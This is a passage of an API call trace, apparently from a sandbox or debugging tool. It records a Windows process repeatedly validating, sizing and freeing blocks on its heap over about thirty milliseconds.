HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0) returned 1 [0162.252] GetProcessHeap () returned 0x140000 [0162.252] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdf0) returned 0x20 [0162.253] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdf0 | out: hHeap=0x140000) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c060) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c060) returned 0xa0 [0162.253] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c060 | out: hHeap=0x140000) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bae0) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bae0) returned 0x18 [0162.253] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bae0 | out: hHeap=0x140000) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb80) returned 1 [0162.253] GetProcessHeap () returned 0x140000 [0162.253] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cb80) returned 0x20 [0162.254] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb80 | out: hHeap=0x140000) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c420) returned 0x88 [0162.254] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c420 | out: hHeap=0x140000) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d570) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d570) returned 0x18 [0162.254] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d570 | out: hHeap=0x140000) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb50) returned 1 [0162.254] GetProcessHeap () returned 0x140000 [0162.254] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cb50) returned 0x20 [0162.255] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb50 | out: hHeap=0x140000) returned 1 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c380) returned 1 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c380) returned 0x8a [0162.255] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c380 | out: hHeap=0x140000) returned 1 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c360) returned 1 [0162.255] GetProcessHeap () returned 0x140000 [0162.255] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c360) returned 0x18 [0162.255] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c360 | out: hHeap=0x140000) returned 1 [0162.255] GetProcessHeap () returned 0x140000 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb20) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cb20) returned 0x20 [0162.256] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cb20 | out: hHeap=0x140000) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c340) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c340) returned 0xe [0162.256] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c340 | out: hHeap=0x140000) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c320) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c320) returned 0x18 [0162.256] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c320 | out: hHeap=0x140000) returned 1 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] GetProcessHeap () returned 0x140000 [0162.256] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155db0) returned 1 [0162.257] GetProcessHeap () returned 0x140000 [0162.257] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155db0) returned 0x20 [0162.257] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155db0 | out: hHeap=0x140000) returned 1 [0162.257] GetProcessHeap () returned 0x140000 [0162.257] GetProcessHeap () returned 0x140000 [0162.257] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc60) returned 1 [0162.257] GetProcessHeap () returned 0x140000 [0162.257] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bc60) returned 0x208 [0162.257] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bc60 | out: hHeap=0x140000) returned 1 [0162.257] GetProcessHeap () returned 0x140000 [0162.257] GetProcessHeap () returned 0x140000 [0162.258] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bac0) returned 1 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bac0) returned 0x18 [0162.258] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bac0 | out: hHeap=0x140000) returned 1 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155cc0) returned 1 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155cc0) returned 0x20 [0162.258] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155cc0 | out: hHeap=0x140000) returned 1 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d2f0) returned 1 [0162.258] GetProcessHeap () returned 0x140000 [0162.258] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d2f0) returned 0x200 [0162.259] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d2f0 | out: hHeap=0x140000) returned 1 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15bb00) returned 1 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15bb00) returned 0x18 [0162.259] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15bb00 | out: hHeap=0x140000) returned 1 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c30) returned 1 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c30) returned 0x20 [0162.259] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c30 | out: hHeap=0x140000) returned 1 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] GetProcessHeap () returned 0x140000 [0162.259] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c270) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c270) returned 0x14 [0162.260] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c270 | out: hHeap=0x140000) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c250) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c250) returned 0x18 [0162.260] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c250 | out: hHeap=0x140000) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b70) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b70) returned 0x20 [0162.260] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b70 | out: hHeap=0x140000) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c290) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.260] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c290) returned 0x16 [0162.260] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c290 | out: hHeap=0x140000) returned 1 [0162.260] GetProcessHeap () returned 0x140000 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15c210) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15c210) returned 0x18 [0162.261] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15c210 | out: hHeap=0x140000) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b40) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b40) returned 0x20 [0162.261] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b40 | out: hHeap=0x140000) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba40) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ba40) returned 0x2 [0162.261] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba40 | out: hHeap=0x140000) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155990) returned 1 [0162.261] GetProcessHeap () returned 0x140000 [0162.261] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155990) returned 0x20 [0162.262] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155990 | out: hHeap=0x140000) returned 1 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x1559c0) returned 1 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x1559c0) returned 0x20 [0162.262] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1559c0 | out: hHeap=0x140000) returned 1 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x1559f0) returned 1 [0162.262] GetProcessHeap () returned 0x140000 [0162.262] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x1559f0) returned 0x20 [0162.263] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x1559f0 | out: hHeap=0x140000) returned 1 [0162.263] GetProcessHeap () returned 0x140000 [0162.263] GetProcessHeap () returned 0x140000 [0162.263] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155a20) returned 1 [0162.263] GetProcessHeap () returned 0x140000 [0162.263] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155a20) returned 0x20 [0162.263] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155a20 | out: hHeap=0x140000) returned 1 [0162.263] GetProcessHeap () returned 0x140000 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cbb0) returned 1 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cbb0) returned 0x20 [0162.264] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cbb0 | out: hHeap=0x140000) returned 1 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d670) returned 1 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d670) returned 0xc [0162.264] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d670 | out: hHeap=0x140000) returned 1 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cbe0) returned 1 [0162.264] GetProcessHeap () returned 0x140000 [0162.264] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cbe0) returned 0x20 [0162.265] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cbe0 | out: hHeap=0x140000) returned 1 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x157ab0) returned 1 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x157ab0) returned 0x30 [0162.265] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x157ab0 | out: hHeap=0x140000) returned 1 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc10) returned 1 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cc10) returned 0x20 [0162.265] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc10 | out: hHeap=0x140000) returned 1 [0162.265] GetProcessHeap () returned 0x140000 [0162.265] GetProcessHeap () returned 0x140000 [0162.266] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x157af0) returned 1 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x157af0) returned 0x30 [0162.266] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x157af0 | out: hHeap=0x140000) returned 1 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0) returned 1 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cdc0) returned 0x20 [0162.266] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cdc0 | out: hHeap=0x140000) returned 1 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] GetProcessHeap () returned 0x140000 [0162.266] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d590) returned 1 [0162.266] GetProcessHeap () returned 0x140000 [0162.267] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d590) returned 0x16 [0162.267] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d590 | out: hHeap=0x140000) returned 1 [0162.267] GetProcessHeap () returned 0x140000 [0162.267] GetProcessHeap () returned 0x140000 [0162.267] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90) returned 1 [0162.267] GetProcessHeap () returned 0x140000 [0162.267] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd90) returned 0x20 [0162.267] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd90 | out: hHeap=0x140000) returned 1 [0162.267] GetProcessHeap () returned 0x140000 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5b0) returned 1 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d5b0) returned 0x16 [0162.268] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5b0 | out: hHeap=0x140000) returned 1 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60) returned 1 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd60) returned 0x20 [0162.268] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd60 | out: hHeap=0x140000) returned 1 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x179c40) returned 1 [0162.268] GetProcessHeap () returned 0x140000 [0162.268] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x179c40) returned 0x82 [0162.269] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x179c40 | out: hHeap=0x140000) returned 1 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30) returned 1 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd30) returned 0x20 [0162.269] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd30 | out: hHeap=0x140000) returned 1 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5f0) returned 1 [0162.269] GetProcessHeap () returned 0x140000 [0162.269] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d5f0) returned 0xe [0162.269] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d5f0 | out: hHeap=0x140000) returned 1 [0162.269] GetProcessHeap () returned 0x140000 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00) returned 1 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cd00) returned 0x20 [0162.270] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cd00 | out: hHeap=0x140000) returned 1 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d610) returned 1 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d610) returned 0xc [0162.270] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d610 | out: hHeap=0x140000) returned 1 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0) returned 1 [0162.270] GetProcessHeap () returned 0x140000 [0162.270] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ccd0) returned 0x20 [0162.271] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ccd0 | out: hHeap=0x140000) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d630) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d630) returned 0xe [0162.271] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d630 | out: hHeap=0x140000) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cca0) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cca0) returned 0x20 [0162.271] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cca0 | out: hHeap=0x140000) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15d650) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15d650) returned 0x10 [0162.271] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15d650 | out: hHeap=0x140000) returned 1 [0162.271] GetProcessHeap () returned 0x140000 [0162.271] GetProcessHeap () returned 0x140000 [0162.272] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc70) returned 1 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15cc70) returned 0x20 [0162.272] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15cc70 | out: hHeap=0x140000) returned 1 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba60) returned 1 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ba60) returned 0x18 [0162.272] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba60 | out: hHeap=0x140000) returned 1 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155a50) returned 1 [0162.272] GetProcessHeap () returned 0x140000 [0162.272] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155a50) returned 0x20 [0162.273] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155a50 | out: hHeap=0x140000) returned 1 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155a80) returned 1 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155a80) returned 0x20 [0162.273] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155a80 | out: hHeap=0x140000) returned 1 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ab0) returned 1 [0162.273] GetProcessHeap () returned 0x140000 [0162.273] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ab0) returned 0x20 [0162.273] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ab0 | out: hHeap=0x140000) returned 1 [0162.273] GetProcessHeap () returned 0x140000 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ae0) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ae0) returned 0x20 [0162.274] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ae0 | out: hHeap=0x140000) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba80) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15ba80) returned 0x18 [0162.274] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x15ba80 | out: hHeap=0x140000) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155b10) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155b10) returned 0x20 [0162.274] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155b10 | out: hHeap=0x140000) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155ba0) returned 1 [0162.274] GetProcessHeap () returned 0x140000 [0162.274] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155ba0) returned 0x20 [0162.275] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155ba0 | out: hHeap=0x140000) returned 1 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c00) returned 1 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c00) returned 0x20 [0162.275] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c00 | out: hHeap=0x140000) returned 1 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c60) returned 1 [0162.275] GetProcessHeap () returned 0x140000 [0162.275] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c60) returned 0x20 [0162.275] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c60 | out: hHeap=0x140000) returned 1 [0162.275] GetProcessHeap () returned 0x140000 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x155c90) returned 1 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x155c90) returned 0x20 [0162.276] HeapFree (in: hHeap=0x140000, dwFlags=0x0, lpMem=0x155c90 | out: hHeap=0x140000) returned 1 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] HeapValidate (hHeap=0x140000, dwFlags=0x0, lpMem=0x15baa0) returned 1 [0162.276] GetProcessHeap () returned 0x140000 [0162.276] RtlSizeHeap (HeapHandle=0x140000, Flags=0x0, MemoryPointer=0x15baa0) returned 0x18 